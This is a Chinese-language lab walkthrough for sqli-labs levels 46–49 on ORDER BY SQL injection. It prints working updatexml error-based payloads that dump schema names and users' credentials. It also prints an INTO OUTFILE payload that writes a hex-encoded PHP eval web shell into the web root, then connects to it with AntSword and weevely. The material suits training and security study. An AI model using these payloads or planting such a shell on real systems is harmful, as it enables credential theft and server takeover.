Less-46
这三关是排序注入order by
,不同于where
后面的注入,它不可以使用union
联合查询注入,所以导致前面很多方法不可用,那应该如何注入,来看mysql
官方给的select
使用文档
可见
order by
后面可以使用limit
,into outfile
等语句,还可以跟数字等。
<1>报错注入
正常语句查询
http://127.0.0.1/sqli-labs/Less-46/?sort=1
先来看看闭合方式是什么,尝试构造
sort=1'
,sort=1)
等,最后发现是字符型注入,所以直接构造报错语句吧,我采用的是updatexml()
函数来进行报错
1)爆数据库?sort=1 and updatexml(1,concat('~',(select group_concat(schema_name)from information_schema.schemata)),0)
可见一次把数据库名爆不完,所以可以采用
limit
语句控制一次爆库名的个数?sort=1 and updatexml(1,concat('~',(select schema_name from information_schema.schemata limit 0,1)),0)
2).爆表
?sort=1 and updatexml(1,concat('~',(select group_concat(table_name)from information_schema.tables where table_schema='security')),0)
3).爆users
表的表列?sort=1 and updatexml(1,concat('~',(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users')),0)
4).爆users
表的所有字段?sort=1 and updatexml(1,concat('~',(select concat_ws('~',id,username,password)from security.users limit 0,1)),0)
<2>into outfile
参数注入+一句话木马拿webshell
将查询结果导出到文件里,http://127.0.0.1/sqli-labs/Less-46/?sort=1%20into%20outfile%20%27/var/www/html/sqli-labs/1.php%27
这里会涉及到
secure_file_priv
参数问题,可能在导出的时候会出现权限不够的问题
可以现在数据库看一下
secure_file_priv
被设置为什么了,如果是NULL
则是不允许导出在任何文件,是空的话,就是不限制导出,是特定文件夹的话就是只允许导出到该文件,可以使用show variable like '%secure%'
来查看
这里是空,说明不限制导出导入,注意如果是Windows
的话就已经可以随意导出了,但是如果是kali
这些linux
操作系统上的话,还要继续设置一下tmpdir
参数,先在数据看看它被设为什么,一般都是在/tmp
,所以你在kali
上导出文件的位置只能是/tmp
,或者可以去修改.conf
文件,这里我是用的kali2020
,数据库是mysql的Maridb
,该文件位置在/etc/mysql/mariadb.conf.d/50-seve.cnf
,修改里面的tmpdir
参数为你想要的位置就行,修改后重启数据库生效
这个问题解决了,就可以用lines terminated by
传一句话木马了,它的意思是在每一行末尾添加by
后面的参数,http://127.0.0.1/sqli-labs/Less-46/?sort=1%20into%20outfile%20%27/var/www/html/sqli-labs/1.php%27lines%20terminated%20by%200x3c3f706870206576616c28245f504f53545b22636d64225d293b3f3e
后面的十六进制表示的是<?php eval($_POST["cmd"]);?>
,直接传的话会被过滤,这是就可以看到导出文件离得内容如下了
这是就可以采用
Antsword
或者weevely
来webshell
了
1)Antword
(Windows
下的工具,要脱壳过后才能在linux
使用,很可惜我不是二进制选手,不会)
将刚才导出的1.php
放在你搭的网站的根目录,或者直接将导出位置设为你网站的根目录,然后打开Antsword
添加数据,
成功拿到
shell
,试了一下可以看见你电脑的所有东西还可以删除。。。。嘻嘻,注意安全
2)weevely
(linux
下的Antsword
,它是一个命令行工具,使用你懂得,其实也很简单,但是比不上Antsword
,只能用它生成后门通过上传才能拿shell
)
先生成后门吧,
然后连接
最后ls
一下看到了文件,成功拿到shell
具体的使用教程网上多的很,嘻嘻。
Less-47
闭合方式为'
,其他操作一样
Less-48
盲注,数字型排序注入
Less-49
盲注,闭合方式为'